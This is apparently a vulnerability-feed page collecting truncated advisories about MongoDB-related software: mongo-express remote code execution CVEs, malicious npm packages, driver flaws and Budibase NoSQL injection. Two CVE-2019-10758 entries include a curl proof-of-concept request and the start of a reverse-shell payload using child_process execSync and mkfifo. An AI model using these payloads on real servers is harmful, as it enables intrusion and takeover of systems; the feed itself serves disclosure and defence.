Mongo-Express - Remote Code Execution

Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server. id: CVE-2020-24391 info: nam...

CVE-2019-10758

CVE-2019-10758 PoC Setup root@kitploit: docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js cURL exploit root@kitploit: curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data...

[SECURITY] Fedora 45 Update: mongo-c-driver-2.5.2-1.fc45

mongo-c-driver is a client library written in C for MongoDB...

CVE-2026-88031

A flaw was found in go.mongodb.org/mongo-driver for version 1.17.10 and 2.9.1. Improper handling of data query elements in the GridFS component can lead to a file identifier being misinterpreted as a query. An authenticated user can exploit this to delete all GridFS file chunks, making stored fil...

mongo-express Remote Code Execution

mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the toBSON method and misuse the vm dependency to perform exec commands in a non-safe environment. id: CVE-2019-10758 info: name: mongo-express Remote Code Execution author: princechaddha severity: critical...

Bugs-feed

Bug's feed Bug's feed es un portal alojado localmente donde puedes buscar las últimas noticias, vídeos, CVEs, vulnerabilidades... Está implementado como una aplicación PWA, por lo que puedes deshacerte del navegador y usarlo como una aplicación de escritorio. Navega por las diferentes pestañas y...

CVE-2019-10758

CVE-2019-10758 mongo-express remote code execution, reverse shell code as follows: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2: document=this.constructor.constructor"return...

react-mongoose (>=1.0.0, <=1.0.5) potentially affected by unknown CVE via express-mongo-limit (1.0.4)

express-mongo-limit NPM version 1.0.4 is affected by a known vulnerability. The following packages have a transitive dependency on express-mongo-limit and may be impacted: - react-mongoose =1.0.0, =1.0.5 Source cves: unknown CVE Source advisory: SNYK:JS-EXPRESSMONGOLIMIT-19477334...

Astra Linux – Vulnerability in Wireshark

MONGO and ZigBee TLV dissector have infinite loops in Wireshark versions 4.2.0 to 4.2.4, 4.0.0 to 4.0.14, and 3.6.0 to 3.6.22. These bugs allow for denial of service through packet injection or with properly crafted capture files...

GO-2025-3955 vulnerabilities

Vulnerabilities for packages: k3d, rabbitmq-messaging-topology-operator, conftest, kind, pluto, nri-apache, fzf, falcoctl, nri-redis, gobump, kubernetes-csi-driver-nfs, prometheus, render-template, dive, k8sgateway, aws-privateca-issuer, bom, ratify, gobuster, aws-application-networking-k8s,...

Malicious code in express-mongo-santi (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 85c97cf70eead9dda2069dc9da7e4a780f7c69953714ad050566c0e94a343e33 The package's main file index.js is a heavily obfuscated bundle obfuscator.io-style rotated string array with base64+RC4 decoders whose only purpose ...

MAL-2026-11986 Malicious code in server-hemera-mongo (npm)

npm/server-hemera-mongo is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-04 the "Shai-Hulud: Here We Go Again" wave — the same campaign that began with the compromise of the keyv and cacheable maintainer account. The listed versions were trojanized and republished...

Malicious code in server-hemera-mongo (npm)

npm/server-hemera-mongo is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-04 the "Shai-Hulud: Here We Go Again" wave — the same campaign that began with the compromise of the keyv and cacheable maintainer account. The listed versions were trojanized and republished...

Malicious code in @keyv/mongo (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b54da8d83c19dc23fe163d7e333f4529faa01d322fe272066da4964fcf604469 @keyv/mongo is the MongoDB storage adapter for the keyv key-value library. No a static rule matched and no behavioral findings were produced against...

MAL-2026-12017 Malicious code in @keyv/mongo (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b54da8d83c19dc23fe163d7e333f4529faa01d322fe272066da4964fcf604469 @keyv/mongo is the MongoDB storage adapter for the keyv key-value library. No a static rule matched and no behavioral findings were produced against...

ROS-20260728-73-0007

The vulnerability in the mongo-c-driver is related to copying buffers without checking the size of the input data. Exploiting this vulnerability can allow a malicious actor to cause service failures remotely...

GHSA-PMPG-2MXQ-6XWR Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete

Summary An end-user injection in Budibase's MongoDB datasource lets any BASIC app user bypass the builder's query-level access controls. Builders scope MongoDB reads per-user with bindings like "email": " currentUser.email " so each app user only sees their own rows. Because the binding is...

GHSA-QW6M-8FW2-2V64 Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution

Summary Budibase's MongoDB query execution endpoint POST /api/v2/queries/:queryId is vulnerable to NoSQL injection through user-supplied query parameters. The enrichContext function interpolates parameter values into JSON query templates using Handlebars with noEscaping: true, then parses the...

CVE-2026-16551 Denial-of-Service in OpenCanary's MongoDB module

Denial-of-Service in Thinkst Applied Research OpenCanary MongoDB module allows Excessive Allocation. This issue affects OpenCanary 0.9.8 only...

ROOT-APP-GOBINARY-CVE-2026-2303 CVE-2026-2303 in rootio-go.mongodb.org/mongo-driver - Patched by Root

Root has patched CVE-2026-2303 in the rootio-go.mongodb.org/mongo-driver package for Root:Go. Multiple fixed versions available...